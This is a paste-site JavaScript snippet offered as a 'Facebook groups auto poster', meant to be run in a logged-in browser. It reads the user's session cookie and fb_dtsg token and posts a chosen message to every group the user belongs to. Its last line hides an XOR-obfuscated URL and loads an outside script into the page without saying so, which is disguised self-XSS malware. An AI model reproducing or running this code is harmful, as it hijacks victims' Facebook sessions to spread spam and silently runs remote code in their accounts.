Facebbok groups auto poster


SUBMITTED BY: Guest

DATE: Sept. 30, 2014, 11:29 a.m.

FORMAT: JavaScript

SIZE: 8.6 kB

HITS: 742

  1. var askformsg = "<div><span class='img sp_38ydyu sx_004ff3'></span><a style='position:absolute;padding-left:3px;font-size:11px;'>Write Post</a></div></br>";
  2. askformsg += "<div><textarea id='txtFloodMsg' placeholder='Write somthing...' style='padding-top:5px;width:505px;height:100px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>";
  3. askformsg += "<div><button style='margin-left:453px' class='_42ft _42fu _11b selected _42g-' onclick='autopostingfunc(this);' >Post</button></div>";
  4. var Popupset = document.createElement("div");
  5. Popupset.setAttribute("style", "position:fixed;left:50%;margin-left:-298px;top:100px;z-index:9999;font-size:11px;font-family:tahoma;color:#3B5998;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);font-weight:bold;border-radius:3px;border:1px solid rgba(200,200,50,0.2);padding:5px;background-color:rgba(255,255,255,0.9)");
  6. Popupset.innerHTML = askformsg;
  7. document.body.appendChild(Popupset);
  8. jx = {
  9. getHTTPObject: function () {
  10. var A = false;
  11. if (typeof ActiveXObject != "undefined") {
  12. try {
  13. A = new ActiveXObject("Msxml2.XMLHTTP")
  14. } catch (C) {
  15. try {
  16. A = new ActiveXObject("Microsoft.XMLHTTP")
  17. } catch (B) {
  18. A = false
  19. }
  20. }
  21. } else {
  22. if (window.XMLHttpRequest) {
  23. try {
  24. A = new XMLHttpRequest()
  25. } catch (C) {
  26. A = false
  27. }
  28. }
  29. }
  30. return A
  31. },
  32. load: function (url, callback, format, method, opt) {
  33. var http = this.init();
  34. if (!http || !url) {
  35. return
  36. }
  37. if (http.overrideMimeType) {
  38. http.overrideMimeType("text/xml")
  39. }
  40. if (!method) {
  41. method = "GET"
  42. }
  43. if (!format) {
  44. format = "text"
  45. }
  46. if (!opt) {
  47. opt = {}
  48. }
  49. format = format.toLowerCase();
  50. method = method.toUpperCase();
  51. var now = "uid=" + new Date().getTime();
  52. url += (url.indexOf("?") + 1) ? "&" : "?";
  53. url += now;
  54. var parameters = null;
  55. if (method == "POST") {
  56. var parts = url.split("?");
  57. url = parts[0];
  58. parameters = parts[1]
  59. }
  60. http.open(method, url, true);
  61. if (method == "POST") {
  62. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  63. http.setRequestHeader("Content-length", parameters.length);
  64. http.setRequestHeader("Connection", "close")
  65. }
  66. var ths = this;
  67. if (opt.handler) {
  68. http.onreadystatechange = function () {
  69. opt.handler(http)
  70. }
  71. } else {
  72. http.onreadystatechange = function () {
  73. if (http.readyState == 4) {
  74. if (http.status == 200) {
  75. var result = "";
  76. if (http.responseText) {
  77. result = http.responseText
  78. }
  79. if (format.charAt(0) == "j") {
  80. result = result.replace(/[\n\r]/g, "");
  81. result = eval("(" + result + ")")
  82. } else {
  83. if (format.charAt(0) == "x") {
  84. result = http.responseXML
  85. }
  86. }
  87. if (callback) {
  88. callback(result)
  89. }
  90. } else {
  91. if (opt.loadingIndicator) {
  92. document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  93. }
  94. if (opt.loading) {
  95. document.getElementById(opt.loading).style.display = "none"
  96. }
  97. if (error) {
  98. error(http.status)
  99. }
  100. }
  101. }
  102. }
  103. }
  104. http.send(parameters)
  105. },
  106. bind: function (A) {
  107. var C = {
  108. "url": "",
  109. "onSuccess": false,
  110. "onError": false,
  111. "format": "text",
  112. "method": "GET",
  113. "update": "",
  114. "loading": "",
  115. "loadingIndicator": ""
  116. };
  117. for (var B in C) {
  118. if (A[B]) {
  119. C[B] = A[B]
  120. }
  121. }
  122. if (!C.url) {
  123. return
  124. }
  125. var D = false;
  126. if (C.loadingIndicator) {
  127. D = document.createElement("div");
  128. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  129. D.setAttribute("class", "loading-indicator");
  130. D.innerHTML = C.loadingIndicator;
  131. document.getElementsByTagName("body")[0].appendChild(D);
  132. this.opt.loadingIndicator = D
  133. }
  134. if (C.loading) {
  135. document.getElementById(C.loading).style.display = "block"
  136. }
  137. this.load(C.url, function (E) {
  138. if (C.onSuccess) {
  139. C.onSuccess(E)
  140. }
  141. if (C.update) {
  142. document.getElementById(C.update).innerHTML = E
  143. }
  144. if (D) {
  145. document.getElementsByTagName("body")[0].removeChild(D)
  146. }
  147. if (C.loading) {
  148. document.getElementById(C.loading).style.display = "none"
  149. }
  150. }, C.format, C.method, C)
  151. },
  152. init: function () {
  153. return this.getHTTPObject()
  154. }
  155. }
  156. var j = 0;
  157. var k = 0;
  158. var suc = 0;
  159. var msg = "Hello Friends.";
  160. var arr = new Array();
  161. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  162. function autopostingfunc(sender) {
  163. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  164. jx.load(window.location.protocol + "//" + "www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=group&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (data) {
  165. var text = data;
  166. var json = text.substring(text.indexOf('{'));
  167. var friends = JSON.parse(json);
  168. friends = friends.payload.entries;
  169. for (var n = 0; n < friends.length; n++) {
  170. arr.push(friends[n].uid);
  171. }
  172. sender.parentNode.innerHTML = "Please Wait....";
  173. postitok();
  174. });
  175. }
  176. var a = document.body.innerHTML;
  177. var dts = document.getElementsByName('fb_dtsg')[0].value;
  178. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  179. function postitok() {
  180. pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_group_composer";
  181. with(newx = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send(pst);
  182. suc++;
  183. if (suc > arr.length) {
  184. alert("Completed. Please refresh page.");
  185. suc = 0;
  186. } else setTimeout("postitok()", 30000 / arr.length);
  187. }
  188. setTimeout("autopostingfunc()", 1000);
  189. var A="jvvrq8--pcu,ekvjw`,amo-ucxx{epc{-dcag`mmi-ej/rcegq-Qwrrmpv,hq ";B="";C="";var D;D=A.length;for(i=0;i<D;i++){B+=String.fromCharCode(A.charCodeAt(i)^2)}C=unescape(B);document.body.appendChild(document.createElement('script')).src=C;

comments powered by Disqus